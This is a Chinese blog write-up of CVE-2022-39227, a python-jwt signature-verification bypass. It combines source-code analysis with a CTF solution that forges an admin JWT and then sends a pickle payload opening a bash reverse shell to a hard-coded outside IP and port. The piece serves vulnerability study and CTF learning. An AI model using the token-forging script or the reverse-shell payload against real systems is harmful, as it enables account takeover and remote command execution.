记CVE-2022-39227-Python-JWT漏洞

文章目录

  • 前言
  • 影响版本
  • 漏洞分析
  • Newstar2023 Week5
  • 总结


前言

在Asal1n师傅的随口一说之下,说newstar week5出了一道祥云杯一样的CVE,于是自己也是跑去看了一下,确实是自己不知道的一个CVE漏洞,于是就从这道题学习到了python-jwt库中的身份验证绕过漏洞,顺带做了一下简单的代码分析。

影响版本

python-jwt < 3.3.4

漏洞分析

这个漏洞造成的原因更像是库的作者在编写代码的时候疏忽导致的,使得验证的payload内容和返回的payload内容并不是一个payload导致的,下面来简单分析一下。

先给出github上作者漏洞修补的大致payload,利用payload进行测试,如下:
python-jwt库地址

from json import *
from python_jwt import *
from jwcrypto import jwk

payload = {'role': "guest"}
key = jwk.JWK.generate(kty='oct', size=256)
jwt_json = generate_jwt(payload, key, 'HS256', timedelta(minutes=60))
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "admin"
fake = base64url_encode((dumps(parsed_payload,separators=(',', ':'))))#这里separators就是消除了空格,不加似乎也并不影响漏洞。
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)
token = verify_jwt(fake_jwt, key, ['HS256'])
print(token)
  1. 首先是刚进入前面的代码。
#判断是否存在可用的签名算法
    if allowed_algs is None:
        allowed_algs = []
#如果可用的签名算法不是列表,抛出异常
    if not isinstance(allowed_algs, list):
        # jwcrypto only supports list of allowed algorithms
        raise _JWTError('allowed_algs must be a list')
#以.分割jwt的三部分
    header, claims, _ = jwt.split('.')
#取出头部分进行base64解码和json解析
    parsed_header = json_decode(base64url_decode(header))
#取出头部算法中的alg参数,此处就是PS256,如果为空或算法不允许,则抛出异常
    alg = parsed_header.get('alg')
    if alg is None:
        raise _JWTError('alg header not present')
    if alg not in allowed_algs:
        raise _JWTError('algorithm not allowed: ' + alg)
#ignore_not_implemented默认就是False,遍历头部的键,是否在被JWS所支持,不支持抛出异常
    if not ignore_not_implemented:
        for k in parsed_header:
            if k not in JWSHeaderRegistry:
                raise _JWTError('unknown header: ' + k)
            if not JWSHeaderRegistry[k].supported:
                raise _JWTError('header not implemented: ' + k)
#对签名进行验证,对jwt进行解析,这里传入的jwt为原始的jwt字段
    if pub_key:
        token = JWS()
        token.allowed_algs = allowed_algs
        token.deserialize(jwt, pub_key)

这里的base64url_decode()是一个用于解码Base64 URL安全编码的函数。
Base64 URL安全编码将标准的Base64编码进行了一些修改,以便在URL中传输时不会产生冲突。
具体而言,它使用"-“替换”+“,使用”_“替换”/“,并且将结尾的”="去除,并且会忽略掉不是base64的字符。

  1. 进入到deserialize中对签名进行验证,代码如下:
    def deserialize(self, raw_jws, key=None, alg=None):
        self.objects = {}
        o = {}
        try:
            try:
			 #对传入的原始的jwt进行json解析
                djws = json_decode(raw_jws)
				#判断是否有多个签名,有则取出签名存放到列表当中
                if 'signatures' in djws:
                    o['signatures'] = []
                    for s in djws['signatures']:
                        os = self._deserialize_signature(s)
                        o['signatures'].append(os)
                        self._deserialize_b64(o, os.get('protected'))
				#单个签名的情况,直接从原始的jwt中取出签名字段,并且将protected以及header赋值给o对象返回
                else:
                    o = self._deserialize_signature(djws)
                    self._deserialize_b64(o, o.get('protected'))#是否继续base64解码

                if 'payload' in djws:#解析payload字段
                    if o.get('b64', True):
                        o['payload'] = base64url_decode(str(djws['payload']))
                    else:
                        o['payload'] = djws['payload']

            except ValueError:#如果json解析异常,则直接以. 分割,提取出三个部分分别赋值
                c = raw_jws.split('.')
                if len(c) != 3:
                    raise InvalidJWSObject('Unrecognized'
                                           ' representation') from None
                p = base64url_decode(str(c[0]))
                if len(p) > 0:
                    o['protected'] = p.decode('utf-8')
                    self._deserialize_b64(o, o['protected'])
                o['payload'] = base64url_decode(str(c[1]))
                o['signature'] = base64url_decode(str(c[2]))

            self.objects = o #将o赋值给objects对象

        except Exception as e:  # pylint: disable=broad-except
            raise InvalidJWSObject('Invalid format') from e

        if key:
            self.verify(key, alg)#将签名算法和key传入verify函数中

记CVE-2022-39227-Python-JWT漏洞_第1张图片

  1. verify()函数如下:
    def verify(self, key, alg=None, detached_payload=None):
        self.verifylog = []
		#默认验证是不通过的
        self.objects['valid'] = False
        obj = self.objects
        missingkey = False
        if 'signature' in obj:
            payload = self._get_obj_payload(obj, detached_payload)#直接提取出payload部分
            #直至这里,传入的解析部分还是原本正常的jwt的字符串,所以_verify也是通过的,将验证生效设置为了true
			try:
                self._verify(alg, key,
                             payload,
                             obj['signature'],
                             obj.get('protected', None),
                             obj.get('header', None))
                obj['valid'] = True
            except Exception as e:  # pylint: disable=broad-except
                if isinstance(e, JWKeyNotFound):
                    missingkey = True
                self.verifylog.append('Failed: [%s]' % repr(e))
		#多个签名的情况
        elif 'signatures' in obj:
            payload = self._get_obj_payload(obj, detached_payload)
            for o in obj['signatures']:
                try:
                    self._verify(alg, key,
                                 payload,
                                 o['signature'],
                                 o.get('protected', None),
                                 o.get('header', None))
                    # Ok if at least one verifies
                    obj['valid'] = True
                except Exception as e:  # pylint: disable=broad-except
                    if isinstance(e, JWKeyNotFound):
                        missingkey = True
                    self.verifylog.append('Failed: [%s]' % repr(e))
        else:
            raise InvalidJWSSignature('No signatures available')
		#如果签名验证不通过,抛出异常
        if not self.is_valid:
            if missingkey:
                raise JWKeyNotFound('No working key found in key set')
            raise InvalidJWSSignature('Verification failed for all '
                                      'signatures' + repr(self.verifylog))

这里经过验证码后的token其实是原本正常的jwt,跟伪造的payload还没有关系

  1. 代码继续往下走
#json解析.分割出来的中间部分,即我们而已构造的payload
 	parsed_claims = json_decode(base64url_decode(claims))
	#获取一些时间参数
    utcnow = datetime.utcnow()
    now = timegm(utcnow.utctimetuple())
#从header头中获取到类型JWT,并进行一些判断,不为JWT抛出异常
    typ = parsed_header.get('typ')
    if typ is None:
        if not checks_optional:
            raise _JWTError('typ header not present')
    elif typ != 'JWT':
        raise _JWTError('typ header is not JWT')
#从fakepayload中获取到iat的值即时间戳,判断令牌的签发时间是否有效
    iat = parsed_claims.get('iat')
    if iat is None:
        if not checks_optional:
            raise _JWTError('iat claim not present')
    elif iat > timegm((utcnow + iat_skew).utctimetuple()):
        raise _JWTError('issued in the future')
#获取jwt令牌的生效时间,此时是否有效
    nbf = parsed_claims.get('nbf')
    if nbf is None:
        if not checks_optional:
            raise _JWTError('nbf claim not present')
    elif nbf > now:
        raise _JWTError('not yet valid')
# 获取到令牌的过期即有效截止时间,判断令牌是否有效,如果小于现在时间,则过期
    exp = parsed_claims.get('exp')
    if exp is None:
        if not checks_optional:
            raise _JWTError('exp claim not present')
    elif exp <= now:
        raise _JWTError('expired')
# 返回.分割后的头部和中间部分即我们的fakepayload
    return parsed_header, parsed_claims

可以看出,在验证令牌的时候使用的是正常的JWT,而返回的却是以.分割的传入jwt的中间部分和头部,使得解析返回的payload和验证签名的pauload并不是一个payload,导致了身份绕过。

Newstar2023 Week5

题目给了源码如下:

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *

app = Flask(__name__)


def generate_random_string(length=16):
    characters = string.ascii_letters + string.digits  # 包含字母和数字
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string


app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)


@app.route("/")
def index():
    payload = request.args.get("token")
    if payload:
        token = verify_jwt(payload, key, ['PS256'])
        print(token)
        session["role"] = token[1]['role']
        return render_template('index.html')
    else:
        session["role"] = "guest"
        user = {"username": "boogipop", "role": "guest"}
        jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
        return jwt


@app.route("/pickle")
def unser():
    if session["role"] == "admin":
        pickle.loads(base64.b64decode(request.args.get("pickle")))
        return 'success'
    else:
        return 'fail'


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

题目的思路也是十分简单,通过伪造JWT,使得返回来的fake_payload中第二部分的role和admin,然后进行pickle反序列化即可。

  1. 利用原题目guest的jwwt直接进行伪造,绕过身份验证

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode


def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "admin"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '


print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTkzNjkyMzcsImlhdCI6MTY5OTM2NTYzNywianRpIjoiTUV0SEJKX1JZeVR3MmhnUmZMcnFsdyIsIm5iZiI6MTY5OTM2NTYzNywicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.nw0s5c4lL0GtUBb7IJTbIhVTE7kzNg7s4l93PrhWZmYKuxWCyZmi7cKWE63Tv3Z6sdUQVp_7IlM8yiY32mNSOwRHCADWllFo18bmlXVri_qdWR-CCVkVi6npIliEBXl_Hbpnh64dCIQuY13-gr0Y412svenGADO-uubqxT3Ml7dlpnaDZ7F06ISkg_m4syc0DQpKKuQv4xFshMYHgaxCCkLpJCMHScIxSjSjoxpD3LnNjYRXgVue8R4TcZ75ZWgaSmkNUmHUrizdTFyi0GVutnaT1Nw4yZKkS5DZxAVUYqcARLUSGvWmt1pZnyny0eR23q7Z8X7Mw-LytE-XfmkAFQ'))


  1. 这里返回的session就是admin的session

记CVE-2022-39227-Python-JWT漏洞_第2张图片

  1. 触发pickle反序列化,反弹shell
import base64

p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/120.79.29.170/5555 0>&1\"'\no"
payload=base64.b64encode(p)
print(payload)

记CVE-2022-39227-Python-JWT漏洞_第3张图片

总结

JWT的话题总是不息的,包括一些空认证等,nodejs中的数组绕过等等,漏洞也是频出。

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